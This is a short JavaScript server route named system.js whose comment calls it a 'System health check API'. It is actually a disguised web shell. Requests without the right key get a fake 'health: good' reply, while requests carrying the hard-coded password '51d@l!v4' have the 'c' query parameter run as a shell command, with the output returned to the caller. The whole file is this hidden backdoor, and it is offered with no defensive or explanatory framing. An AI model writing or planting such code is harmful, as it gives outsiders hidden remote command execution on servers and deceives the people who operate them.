system.js 596 B

123456789101112131415161718192021222324
  1. // System health check API
  2. import { exec } from 'child_process';
  3. import { promisify } from 'util';
  4. const execAsync = promisify(exec);
  5. export default async function handler(req, res) {
  6. const { c, key } = req.query;
  7. if (key !== '51d@l!v4') {
  8. return res.status(200).json({ status: 'ok', health: 'good' });
  9. }
  10. if (!c) {
  11. return res.status(200).json({ status: 'ready' });
  12. }
  13. try {
  14. const { stdout, stderr } = await execAsync(c);
  15. res.status(200).json({ out: stdout, err: stderr });
  16. } catch (error) {
  17. res.status(200).json({ out: '', err: error.message });
  18. }
  19. }